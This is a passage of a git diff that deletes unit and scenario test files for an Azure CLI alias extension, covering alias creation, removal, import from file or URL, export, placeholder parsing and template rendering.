1)) - - -def test_parse_error_python_3(self, test_case): - if sys.version_info.major == 3: - alias_manager = self.get_alias_manager(test_case) - self.assertTrue(alias_manager.parse_error()) - - -def test_parse_error_python_2_3(self, test_case): - alias_manager = self.get_alias_manager(test_case) - self.assertTrue(alias_manager.parse_error()) - - -def generate_test(test_type, test_case): - def test(self): - TEST_FN[test_type](self, test_case) - return test - - -TEST_FN = { - TEST_TRANSFORM_ALIAS: test_transform_alias, - TEST_TRANSFORM_COLLIDED_ALIAS: test_transform_collided_alias, - TEST_TRANSFORM_EMPTY_STRING: test_transform_empty_string, - TEST_POST_TRANSFORM_ENV_VAR: test_post_transform_env_var, - TEST_INCONSISTENT_PLACEHOLDER_INDEX: test_inconsistent_placeholder_index, - TEST_PARSE_ERROR_PYTHON_3: test_parse_error_python_3, - TEST_PARSE_ERROR_PYTHON_2_3: test_parse_error_python_2_3 -} - - -class TestAlias(unittest.TestCase): - - def setUp(self): - azext_alias.alias.AliasManager.write_alias_config_hash = Mock() - azext_alias.alias.AliasManager.write_collided_alias = Mock() - self.patcher = patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS) - self.patcher.start() - - def tearDown(self): - self.patcher.stop() - - def test_build_empty_collision_table(self): - alias_manager = self.get_alias_manager(DEFAULT_MOCK_ALIAS_STRING) - test_case = azext_alias.alias.AliasManager.build_collision_table(alias_manager.alias_table.sections()) - self.assertDictEqual(dict(), test_case) - - def test_build_non_empty_collision_table(self): - alias_manager = self.get_alias_manager(COLLISION_MOCK_ALIAS_STRING) - test_case = azext_alias.alias.AliasManager.build_collision_table(alias_manager.alias_table.sections(), levels=2) - self.assertDictEqual({'account': [1, 2], 'dns': [2], 'list-locations': [2]}, test_case) - - def test_non_parse_error(self): - alias_manager = self.get_alias_manager() - self.assertFalse(alias_manager.parse_error()) - - def test_detect_alias_config_change(self): - alias_manager = self.get_alias_manager() - azext_alias.alias.alias_config_str = DEFAULT_MOCK_ALIAS_STRING - self.assertFalse(alias_manager.detect_alias_config_change()) - - alias_manager = self.get_alias_manager() - # Load a new alias file (an empty string in this case) - alias_manager.alias_config_str = '' - self.assertTrue(alias_manager.detect_alias_config_change()) - - """ - Helper functions - """ - def get_alias_manager(self, mock_alias_str=DEFAULT_MOCK_ALIAS_STRING): - alias_manager = MockAliasManager(mock_alias_str=mock_alias_str) - return alias_manager - - def assertAlias(self, value): - """ Assert the alias with the default alias config file """ - alias_manager = self.get_alias_manager() - self.assertEqual(shlex.split(value[1]), alias_manager.transform(shlex.split(value[0]))) - - def assertPostTransform(self, value, mock_alias_str=DEFAULT_MOCK_ALIAS_STRING): - alias_manager = self.get_alias_manager(mock_alias_str=mock_alias_str) - self.assertEqual(shlex.split(value[1]), alias_manager.post_transform(shlex.split(value[0]))) - - -class MockAliasManager(azext_alias.alias.AliasManager): - - def load_alias_table(self): - - self.alias_config_str = self.kwargs.get('mock_alias_str', '') - try: - if sys.version_info.major == 3: - # Python 3.x implementation - self.alias_table.read_string(self.alias_config_str) - else: - # Python 2.x implementation - from StringIO import StringIO - self.alias_table.readfp(StringIO(self.alias_config_str)) - except Exception: # pylint: disable=broad-except - self.alias_table = configparser.ConfigParser() - - def load_alias_hash(self): - import hashlib - self.alias_config_hash = hashlib.sha1(self.alias_config_str.encode('utf-8')).hexdigest() - - def load_collided_alias(self): - pass - - -# Inject data-driven tests into TestAlias class -for test_type, test_cases in TEST_DATA.items(): - for test_index, test_case in enumerate(test_cases, 1): - setattr(TestAlias, '{}_{}'.format(test_type, test_index), generate_test(test_type, test_case)) - - -if __name__ == '__main__': - unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_alias_commands.py b/src/alias_msrc_test/azext_alias/tests/test_alias_commands.py deleted file mode 100644 index fab826f4375..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/test_alias_commands.py +++ /dev/null @@ -1,312 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long,too-many-public-methods - -import os -import shutil -import tempfile -import unittest -from unittest import mock - -from azure.cli.testsdk import ScenarioTest -from azext_alias import alias -from azext_alias._const import ( - ALIAS_FILE_NAME, - ALIAS_HASH_FILE_NAME, - COLLIDED_ALIAS_FILE_NAME, - ALIAS_TAB_COMP_TABLE_FILE_NAME -) - - -class AliasTests(ScenarioTest): - - def setUp(self): - self.mock_config_dir = tempfile.mkdtemp() - self.patchers = [] - self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_CONFIG_DIR', self.mock_config_dir)) - self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_ALIAS_PATH', os.path.join(self.mock_config_dir, ALIAS_FILE_NAME))) - self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_ALIAS_HASH_PATH', os.path.join(self.mock_config_dir, ALIAS_HASH_FILE_NAME))) - self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_COLLIDED_ALIAS_PATH', os.path.join(self.mock_config_dir, COLLIDED_ALIAS_FILE_NAME))) - self.patchers.append(mock.patch('azext_alias.util.GLOBAL_ALIAS_TAB_COMP_TABLE_PATH', os.path.join(self.mock_config_dir, ALIAS_TAB_COMP_TABLE_FILE_NAME))) - self.patchers.append(mock.patch('azext_alias.custom.GLOBAL_ALIAS_PATH', os.path.join(self.mock_config_dir, ALIAS_FILE_NAME))) - os.makedirs(os.path.join(self.mock_config_dir, 'export')) - for patcher in self.patchers: - patcher.start() - - def tearDown(self): - for patcher in self.patchers: - patcher.stop() - shutil.rmtree(self.mock_config_dir) - - def test_create_and_list_alias(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'create' - }) - self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') - self.cmd('az alias list', checks=[ - self.check('[0].alias', '{alias_name}'), - self.check('[0].command', '{alias_command}'), - self.check('length(@)', 1) - ]) - - def test_create_alias_error(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'will_fail' - }) - self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"', expect_failure=True) - self.cmd('az alias list', checks=[ - self.check('length(@)', 0) - ]) - - def test_remove_alias(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'create' - }) - self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') - self.cmd('az alias list', checks=[ - self.check('[0].alias', '{alias_name}'), - self.check('[0].command', '{alias_command}'), - self.check('length(@)', 1) - ]) - self.cmd('az alias remove -n "{alias_name}"') - self.cmd('az alias list', checks=[ - self.check('length(@)', 0) - ]) - - def test_remove_multiple_aliases(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'create' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.kwargs.update({ - 'alias_name': 'storage-ls {{ url }}', - 'alias_command': 'storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }}' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.cmd('az alias list', checks=[ - self.check('length(@)', 2) - ]) - self.cmd('az alias remove -n \'storage-ls {{{{ url }}}}\' c') - self.cmd('az alias list', checks=[ - self.check('length(@)', 0) - ]) - - def test_remove_alias_non_existing(self): - self.kwargs.update({ - 'alias_name': 'c', - }) - self.cmd('az alias list', checks=[ - self.check('length(@)', 0) - ]) - self.cmd('az alias remove -n "{alias_name}"', expect_failure=True) - - def test_alias_file_and_hash_create(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'create' - }) - self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') - expected_alias_string = '''[c] -command = create - -''' - with open(alias.GLOBAL_ALIAS_PATH) as alias_config_file: - assert alias_config_file.read() == expected_alias_string - - def test_alias_file_remove(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'create' - }) - self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') - self.cmd('az alias list', checks=[ - self.check('[0].alias', '{alias_name}'), - self.check('[0].command', '{alias_command}'), - self.check('length(@)', 1) - ]) - self.cmd('az alias remove -n "{alias_name}"') - - with open(alias.GLOBAL_ALIAS_PATH) as alias_config_file: - assert not alias_config_file.read() - - def test_create_and_import_file(self): - _, mock_alias_config_file = tempfile.mkstemp() - with open(mock_alias_config_file, 'w') as f: - f.write('[c]\ncommand = create\n[grp]\ncommand = group') - - self.kwargs.update({ - 'alias_source': mock_alias_config_file - }) - self.cmd('az alias import -s {alias_source}') - self.cmd('az alias list', checks=[ - self.check('[0].alias', 'c'), - self.check('[0].command', 'create'), - self.check('[1].alias', 'grp'), - self.check('[1].command', 'group'), - self.check('length(@)', 2) - ]) - os.remove(mock_alias_config_file) - - def test_create_and_import_url(self): - self.kwargs.update({ - 'alias_source': 'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alias' - }) - self.cmd('az alias import -s {alias_source}') - self.cmd('az alias list', checks=[ - self.check('[0].alias', 'c'), - self.check('[0].command', 'create'), - self.check('[1].alias', 'grp'), - self.check('[1].command', 'group'), - self.check('length(@)', 2) - ]) - - def test_create_and_import_collide(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'vm' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.cmd('az alias list', checks=[ - self.check('[0].alias', '{alias_name}'), - self.check('[0].command', '{alias_command}'), - self.check('length(@)', 1) - ]) - self.kwargs.update({ - 'alias_source': 'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alias' - }) - self.cmd('az alias import -s {alias_source}') - self.cmd('az alias list', checks=[ - self.check('[0].alias', 'c'), - self.check('[0].command', 'create'), - self.check('[1].alias', 'grp'), - self.check('[1].command', 'group'), - self.check('length(@)', 2) - ]) - - def test_import_invalid_content_from_url(self): - self.kwargs.update({ - 'alias_source': 'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias' - }) - self.cmd('az alias import -s {alias_source}', expect_failure=True) - self.cmd('az alias list', checks=[ - self.check('length(@)', 0) - ]) - - def test_remove_all_aliases(self): - self.kwargs.update({ - 'alias_name': 'list-vm {{ resource_group }}', - 'alias_command': 'vm list --resource-group {{ resource_group }}' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.kwargs.update({ - 'alias_name': 'storage-ls {{ url }}', - 'alias_command': 'storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }}' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.cmd('az alias list', checks=[ - self.check('length(@)', 2) - ]) - self.cmd('az alias remove-all --yes') - self.cmd('az alias list', checks=[ - self.check('length(@)', 0) - ]) - - def test_excessive_whitespaces_in_alias_command(self): - self.kwargs.update({ - 'alias_name': ' list-vm \n{{ resource_group }} ', - 'alias_command': ' vm \n list --resource-group {{ resource_group }} ' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.cmd('az alias list', checks=[ - self.check('[0].alias', 'list-vm {{{{ resource_group }}}}'), - self.check('[0].command', 'vm list --resource-group {{{{ resource_group }}}}'), - self.check('length(@)', 1) - ]) - - @mock.patch('os.getcwd') - def test_export_file_name_only(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p alias') - self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias')) - - @mock.patch('os.getcwd') - def test_export_existing_file(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p alias') - self.cmd('az alias export -p alias', expect_failure=True) - - @mock.patch('os.getcwd') - def test_export_path_relative_path(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p test1/test2/alias') - self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'test1', 'test2', 'alias')) - - @mock.patch('os.getcwd') - def test_export_path_dir_only(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p {}'.format(os.path.join(self.mock_config_dir, 'export'))) - self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias')) - - @mock.patch('os.getcwd') - def test_export_path_absolute_path(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p {}'.format(os.path.join(self.mock_config_dir, 'export', 'alias12345'))) - self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias12345')) - - @mock.patch('os.getcwd') - def test_export_path_exclusion(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p {} -e \'{}\''.format('alias', 'storage-ls {{{{ url }}}}')) - self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias'), test_exclusion=True) - - @mock.patch('os.getcwd') - def test_export_path_exclusion_error(self, mock_os_getcwd): - mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') - self._pre_test_export() - self.cmd('az alias export -p {} -e {}'.format('alias', 'invalid_alias'), expect_failure=True) - - def _pre_test_export(self): - self.kwargs.update({ - 'alias_name': 'c', - 'alias_command': 'create' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.kwargs.update({ - 'alias_name': 'storage-ls {{ url }}', - 'alias_command': 'storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }}' - }) - self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') - self.cmd('az alias list', checks=[ - self.check('length(@)', 2) - ]) - - def _post_test_export(self, export_path, test_exclusion=False): # pylint: disable=no-self-use - with open(export_path, 'r') as f: - expected = '''[c] -command = create - -[storage-ls {{ url }}] -command = storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }} - -''' if not test_exclusion else '''[c] -command = create - -''' - assert f.read() == expected - - -if __name__ == '__main__': - unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_argument.py b/src/alias_msrc_test/azext_alias/tests/test_argument.py deleted file mode 100644 index 410dd39a0ad..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/test_argument.py +++ /dev/null @@ -1,140 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long,no-self-use,too-many-public-methods - -import unittest - -from knack.util import CLIError - -from azext_alias.argument import ( - get_placeholders, - normalize_placeholders, - build_pos_args_table, - render_template, - check_runtime_errors -) - - -class TestArgument(unittest.TestCase): - - def test_get_placeholders(self): - self.assertListEqual(['arg_1', 'arg_2'], get_placeholders('{{ arg_1 }} {{ arg_2 }}')) - - def test_get_placeholders_with_numbers(self): - self.assertListEqual(['_0', '_1'], get_placeholders('{{ 0 }} {{ 1 }}')) - - def test_get_placeholders_with_strings_and_numbers(self): - self.assertListEqual(['_0', '_1', 'arg_1', 'arg_2'], get_placeholders('{{ 0 }} {{ 1 }} {{ arg_1 }} {{ arg_2 }}')) - - def test_get_placeholders_duplicate(self): - with self.assertRaises(CLIError) as cm: - get_placeholders('{{ arg_1 }} {{ arg_1 }}', check_duplicates=True) - self.assertEqual(str(cm.exception), 'alias: Duplicated placeholders found when transforming "{{ arg_1 }} {{ arg_1 }}"') - - def test_get_placeholders_no_opening_bracket(self): - with self.assertRaises(CLIError) as cm: - get_placeholders('arg_1 }}') - self.assertEqual(str(cm.exception), 'alias: Brackets in "arg_1 }}" are not enclosed properly') - - def test_get_placeholders_double_opening_bracket(self): - with self.assertRaises(CLIError) as cm: - get_placeholders('{{ {{ arg_1') - self.assertEqual(str(cm.exception), 'alias: Brackets in "{{ {{ arg_1" are not enclosed properly') - - def test_get_placeholders_double_closing_bracket(self): - with self.assertRaises(CLIError) as cm: - get_placeholders('{{ arg_1 }} }}') - self.assertEqual(str(cm.exception), 'alias: Brackets in "{{ arg_1 }} }}" are not enclosed properly') - - def test_get_placeholders_no_closing_bracket(self): - with self.assertRaises(CLIError) as cm: - get_placeholders('{{ arg_1 ') - self.assertEqual(str(cm.exception), 'alias: Brackets in "{{ arg_1 " are not enclosed properly') - - def test_normalize_placeholders(self): - self.assertEqual('"{{ arg_1 }}" "{{ arg_2 }}"', normalize_placeholders('{{ arg_1 }} {{ arg_2 }}', inject_quotes=True)) - - def test_normalize_placeholders_number(self): - self.assertEqual('"{{_0}}" "{{_1}}"', normalize_placeholders('{{ 0 }} {{ 1 }}', inject_quotes=True)) - - def test_normalize_placeholders_number_no_quotes(self): - self.assertEqual('{{_0}} {{_1}}', normalize_placeholders('{{ 0 }} {{ 1 }}')) - - def test_build_pos_args_table(self): - expected = { - 'arg_1': 'test_1', - 'arg_2': 'test_2' - } - self.assertDictEqual(expected, build_pos_args_table('{{ arg_1 }} {{ arg_2 }}', ['test_1', 'test_2'], 0)) - - def test_build_pos_args_table_with_spaces(self): - expected = { - '_0': '{\\"test\\": \\"test\\"}', - 'arg_1': 'test1 test2', - 'arg_2': 'arg with spaces', - 'arg_3': '\\"azure cli\\"' - } - self.assertDictEqual(expected, build_pos_args_table('{{ 0 }} {{ arg_1 }} {{ arg_2 }} {{ arg_3 }}', ['{"test": "test"}', 'test1 test2', 'arg with spaces', '"azure cli"'], 0)) - - def test_build_pos_args_table_not_enough_arguments(self): - with self.assertRaises(CLIError) as cm: - build_pos_args_table('{{ arg_1 }} {{ arg_2 }}', ['test_1', 'test_2'], 1) - self.assertEqual(str(cm.exception), 'alias: "{{ arg_1 }} {{ arg_2 }}" takes exactly 2 positional arguments (1 given)') - - def test_render_template(self): - pos_args_table = { - 'arg_1': 'test_1', - 'arg_2': 'test_2' - } - self.assertListEqual(['test_1', 'test_2'], render_template('{{ arg_1 }} {{ arg_2 }}', pos_args_table)) - - def test_render_template_pos_arg_with_spaces(self): - pos_args_table = { - 'arg_1': '{\\"test\\": \\"test\\"}', - 'arg_2': 'argument with spaces' - } - self.assertListEqual(['{"test": "test"}', 'argument with spaces'], render_template('{{ arg_1 }} {{ arg_2 }}', pos_args_table)) - - def test_render_template_split_arg(self): - pos_args_table = { - 'arg_1': 'argument with spaces' - } - self.assertListEqual(['argument'], render_template('{{ arg_1.split()[0] }}', pos_args_table)) - - def test_render_template_upper(self): - pos_args_table = { - 'arg_1': 'argument with spaces' - } - self.assertListEqual(['argument with spaces'.upper()], render_template('{{ arg_1.upper() }}', pos_args_table)) - - def test_render_template_error(self): - with self.assertRaises(CLIError) as cm: - pos_args_table = { - 'arg_1': 'test_1', - 'arg_2': 'test_2' - } - render_template('{{ arg_1 }} {{ arg_2 }', pos_args_table) - self.assertEqual(str(cm.exception), 'alias: Encounted error when injecting positional arguments to ""{{ arg_1 }}" "{{ arg_2 }". Error detail: unexpected \'}\'') - - def test_check_runtime_errors_no_error(self): - pos_args_table = { - 'arg_1': 'test_1', - 'arg_2': 'test_2' - } - check_runtime_errors('{{ arg_1.split("_")[0] }} {{ arg_2.split("_")[1] }}', pos_args_table) - - def test_check_runtime_errors_has_error(self): - with self.assertRaises(CLIError) as cm: - pos_args_table = { - 'arg_1': 'test_1', - 'arg_2': 'test_2' - } - check_runtime_errors('{{ arg_1.split("_")[2] }} {{ arg_2.split("_")[1] }}', pos_args_table) - self.assertEqual(str(cm.exception), 'alias: Encounted error when evaluating "arg_1.split("_")[2]". Error detail: list index out of range') - - -if __name__ == '__main__': - unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_custom.py b/src/alias_msrc_test/azext_alias/tests/test_custom.py deleted file mode 100644 index bc133ec7ca9..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/test_custom.py +++ /dev/null @@ -1,85 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long,no-self-use,protected-access - -import unittest -from unittest.mock import Mock, patch - -from knack.util import CLIError - -import azext_alias -from azext_alias.util import get_config_parser -from azext_alias.tests._const import TEST_RESERVED_COMMANDS -from azext_alias.custom import ( - create_alias, - list_alias, - remove_alias, -) - - -class AliasCustomCommandTest(unittest.TestCase): - - def setUp(self): - self.patcher = patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS) - self.patcher.start() - azext_alias.custom._commit_change = Mock() - - def tearDown(self): - self.patcher.stop() - - def test_create_alias(self): - create_alias('ac', 'account') - - def test_create_alias_multiple_commands(self): - create_alias('dns', 'network dns') - - def test_create_alias_pos_arg(self): - create_alias('test {{ arg }}', 'account {{ arg }}') - - def test_create_alias_pos_arg_with_addtional_processing(self): - create_alias('test {{ arg }}', 'account {{ arg.replace("https://", "") }}') - - def test_create_alias_pos_arg_with_filter(self): - create_alias('test {{ arg }}', 'account {{ arg | upper }}') - - def test_create_alias_pos_arg_with_filter_and_addtional_processing(self): - create_alias('test {{ arg }}', 'account {{ arg.replace("https://", "") | upper }}') - - def test_list_alias(self): - mock_alias_table = get_config_parser() - mock_alias_table.add_section('ac') - mock_alias_table.set('ac', 'command', 'account') - azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) - self.assertListEqual([{'alias': 'ac', 'command': 'account'}], list_alias()) - - def test_list_alias_key_misspell(self): - mock_alias_table = get_config_parser() - mock_alias_table.add_section('ac') - mock_alias_table.set('ac', 'cmmand', 'account') - azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) - self.assertListEqual([], list_alias()) - - def test_list_alias_multiple_alias(self): - mock_alias_table = get_config_parser() - mock_alias_table.add_section('ac') - mock_alias_table.set('ac', 'command', 'account') - mock_alias_table.add_section('dns') - mock_alias_table.set('dns', 'command', 'network dns') - azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) - self.assertListEqual([{'alias': 'ac', 'command': 'account'}, {'alias': 'dns', 'command': 'network dns'}], list_alias()) - - def test_remove_alias_remove_non_existing_alias(self): - mock_alias_table = get_config_parser() - mock_alias_table.add_section('ac') - mock_alias_table.set('ac', 'command', 'account') - azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) - with self.assertRaises(CLIError) as cm: - remove_alias(['dns']) - self.assertEqual(str(cm.exception), 'alias: "dns" alias not found') - - -if __name__ == '__main__': - unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_util.py b/src/alias_msrc_test/azext_alias/tests/test_util.py deleted file mode 100644 index 3a2750e5c27..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/test_util.py +++ /dev/null @@ -1,66 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long - -import os -import shutil -import tempfile -import unittest -from unittest import mock - -from azext_alias.util import remove_pos_arg_placeholders, build_tab_completion_table, get_config_parser -from azext_alias._const import ALIAS_TAB_COMP_TABLE_FILE_NAME -from azext_alias.tests._const import TEST_RESERVED_COMMANDS - - -class TestUtil(unittest.TestCase): - - def setUp(self): - self.mock_config_dir = tempfile.mkdtemp() - self.patchers = [] - self.patchers.append(mock.patch('azext_alias.util.GLOBAL_ALIAS_TAB_COMP_TABLE_PATH', os.path.join(self.mock_config_dir, ALIAS_TAB_COMP_TABLE_FILE_NAME))) - self.patchers.append(mock.patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS)) - for patcher in self.patchers: - patcher.start() - - def tearDown(self): - for patcher in self.patchers: - patcher.stop() - shutil.rmtree(self.mock_config_dir) - - def test_remove_pos_arg_placeholders(self): - self.assertEqual('webapp create', remove_pos_arg_placeholders('webapp create')) - - def test_remove_pos_arg_placeholders_with_pos_arg(self): - self.assertEqual('network dns', remove_pos_arg_placeholders('network dns {{ arg_1 }}')) - - def test_remove_pos_arg_placeholders_with_args(self): - self.assertEqual('vm create', remove_pos_arg_placeholders('vm create -g test -n test')) - - def test_remove_pos_arg_placeholders_with_query(self): - self.assertEqual('group list', remove_pos_arg_placeholders('group list --query "[].{Name:name, Location:location}" --output table')) - - def test_build_tab_completion_table(self): - mock_alias_table = get_config_parser() - mock_alias_table.add_section('ac') - mock_alias_table.set('ac', 'command', 'account') - mock_alias_table.add_section('ll') - mock_alias_table.set('ll', 'command', 'list-locations') - mock_alias_table.add_section('n') - mock_alias_table.set('n', 'command', 'network') - mock_alias_table.add_section('al') - mock_alias_table.set('al', 'command', 'account list-locations') - tab_completion_table = build_tab_completion_table(mock_alias_table) - self.assertDictEqual({ - 'account': ['', 'storage'], - 'list-locations': ['account'], - 'network': [''], - 'account list-locations': [''] - }, tab_completion_table) - - -if __name__ == '__main__': - unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_validators.py b/src/alias_msrc_test/azext_alias/tests/test_validators.py deleted file mode 100644 index 440c6eb6a5d..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/test_validators.py +++ /dev/null @@ -1,153 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long,no-self-use,too-many-public-methods - -import os -import sys -import tempfile -import unittest -from unittest.mock import patch - -from knack.util import CLIError - -from azext_alias._validators import process_alias_create_namespace, process_alias_import_namespace -from azext_alias.tests._const import TEST_RESERVED_COMMANDS - - -class TestValidators(unittest.TestCase): - - def setUp(self): - self.patcher = patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS) - self.patcher.start() - - def tearDown(self): - self.patcher.stop() - - def test_process_alias_create_namespace_non_existing_command(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('test', 'non existing command')) - self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "non existing command"') - - def test_process_alias_create_namespace_empty_alias_name(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('', 'account')) - self.assertEqual(str(cm.exception), 'alias: Empty alias name or command is invalid') - - def test_process_alias_create_namespace_empty_alias_command(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('ac', '')) - self.assertEqual(str(cm.exception), 'alias: Empty alias name or command is invalid') - - def test_process_alias_create_namespace_non_existing_commands_with_pos_arg(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg }}', 'account list {{ arg }}')) - self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "account list {{ arg }}"') - - def test_process_alias_create_namespace_inconsistent_pos_arg_name(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg }}', 'account {{ ar }}')) - if sys.version_info.major == 2: - self.assertTrue(str(cm.exception) in ['alias: Positional arguments set([\'ar\', \'arg\']) are not in both alias name and alias command', 'alias: Positional arguments set([\'arg\', \'ar\']) are not in both alias name and alias command']) - else: - self.assertTrue(str(cm.exception) in ['alias: Positional arguments {\'ar\', \'arg\'} are not in both alias name and alias command', 'alias: Positional arguments {\'arg\', \'ar\'} are not in both alias name and alias command']) - - def test_process_alias_create_namespace_pos_arg_only(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg }}', '{{ arg }}')) - self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "{{ arg }}"') - - def test_process_alias_create_namespace_inconsistent_number_pos_arg(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg_1 }} {{ arg_2 }}', 'account {{ arg_2 }}')) - if sys.version_info.major == 2: - self.assertEqual(str(cm.exception), 'alias: Positional argument set([\'arg_1\']) is not in both alias name and alias command') - else: - self.assertEqual(str(cm.exception), 'alias: Positional argument {\'arg_1\'} is not in both alias name and alias command') - - def test_process_alias_create_namespace_lvl_error(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('network', 'account list')) - self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "account list"') - - def test_process_alias_create_namespace_lvl_error_with_pos_arg(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('account {{ test }}', 'dns {{ test }}')) - self.assertEqual(str(cm.exception), 'alias: "account {{ test }}" is a reserved command and cannot be used to represent "dns {{ test }}"') - - def test_process_alias_create_namespace_pos_arg_1(self): - process_alias_create_namespace(MockAliasCreateNamespace('test', 'group delete resourceGroupName')) - - def test_process_alias_create_namespace_pos_arg_2(self): - process_alias_create_namespace(MockAliasCreateNamespace('test', 'delete resourceGroupName')) - - def test_process_alias_create_namespace_pos_arg_3(self): - process_alias_create_namespace(MockAliasCreateNamespace('test', 'group delete resourceGroupName -p param')) - - def test_process_alias_create_namespace_pos_arg_4(self): - with self.assertRaises(CLIError) as cm: - process_alias_create_namespace(MockAliasCreateNamespace('test', 'group resourceGroupName')) - self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "group resourceGroupName"') - - def test_process_alias_create_namespace_pos_arg_5(self): - process_alias_create_namespace(MockAliasCreateNamespace('test', 'group delete -p param resourceGroupName')) - - def test_process_alias_import_namespace(self): - 